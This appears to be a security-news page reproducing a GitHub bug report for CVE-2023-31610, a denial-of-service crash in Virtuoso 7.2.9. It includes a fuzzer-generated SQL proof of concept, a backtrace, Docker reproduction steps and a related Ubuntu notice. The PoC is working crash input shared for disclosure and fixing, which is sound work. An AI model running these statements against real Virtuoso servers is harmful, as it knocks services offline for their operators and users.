Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2023-31610: virtuoso 7.2.9 crashed at _IO_default_xsputn · Issue #1118 · openlink/virtuoso-opensource

An issue in the _IO_default_xsputn component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

CVE
#sql#dos#git#docker

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed

fuboat opened this issue

Apr 12, 2023

· 0 comments

Closed

virtuoso 7.2.9 crashed at _IO_default_xsputn #1118

fuboat opened this issue

Apr 12, 2023

· 0 comments

Comments

The PoC is generated by my DBMS fuzzer.

CREATE TABLE t2(x VARCHAR, y VARCHAR, c VARCHAR); CREATE VIEW t2 AS SELECT * FROM t2; INSERT INTO t2 VALUES(8,8,RDF_SYS.xsd_hexBinary_fromBinary(SYSTEM_BASE64_ENCODE(zeroblob(200))));

backtrace:

#0 0x7f87bcd56050 (_IO_default_xsputn+0xa0) #1 0x7f87bcd3b0fc (psiginfo+0x13c9c) #2 0x7f87bcd4ff9a (vscanf+0x14a) #3 0x7f87bcd25df6 (__snprintf+0x96) #4 0x5a2227 (sch_full_proc_name_1+0x2c7) #5 0x7879a3 (sinv_find_func_map+0x143) #6 0x788fb7 (sinv_check_exp+0x317) #7 0x78a03d (sinv_sqlo_check_col_val+0xad) #8 0x816d50 (sqlc_insert_view+0x330) #9 0x81721d (sqlc_insert_view+0x7fd) #10 0x81721d (sqlc_insert_view+0x7fd) … #5714 0x81721d (sqlc_insert_view+0x7fd) #5715 0x81721d (sqlc_insert_view+0x7fd) #5716 0x81721d (sqlc_insert_view+0x7fd) #5717 0x6b7387 (sql_stmt_comp+0x987) #5718 0x6ba122 (sql_compile_1+0x1a62) #5719 0x7c8cd0 (stmt_set_query+0x340) #5720 0x7cabc2 (sf_sql_execute+0x922) #5721 0x7cbf4e (sf_sql_execute_w+0x17e) #5722 0x7d4c0d (sf_sql_execute_wrapper+0x3d) #5723 0xe1f01c (future_wrapper+0x3fc) #5724 0xe2691e (_thread_boot+0x11e) #5725 0x7f87bd013609 (start_thread+0xd9) #5726 0x7f87bcde3133 (clone+0x43)

ways to reproduce (write poc to the file ‘/tmp/test.sql’ first):

remove the old one

docker container rm virtdb_test -f

start virtuoso through docker

docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9

wait the server starting

sleep 10

check whether the simple query works

echo “SELECT 1;” | docker exec -i virtdb_test isql 1111 dba

run the poc

docker exec -i virtdb_test isql 1111 dba < “/tmp/test.sql”

This was referenced

Apr 14, 2023

1 participant

Related news

Ubuntu Security Notice USN-6832-1

Ubuntu Security Notice 6832-1 - Jingzhou Fu discovered that Virtuoso Open-Source Edition incorrectly handled certain crafted SQL statements. An attacker could possibly use this issue to crash the program, resulting in a denial of service. Jingzhou Fu discovered that Virtuoso Open-Source Edition incorrectly handled certain crafted SQL statements. An attacker could possibly use this issue to crash the program, resulting in a denial of service. This issue only affects Ubuntu 22.04 LTS, Ubuntu 23.10 and Ubuntu 24.04 LTS.

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907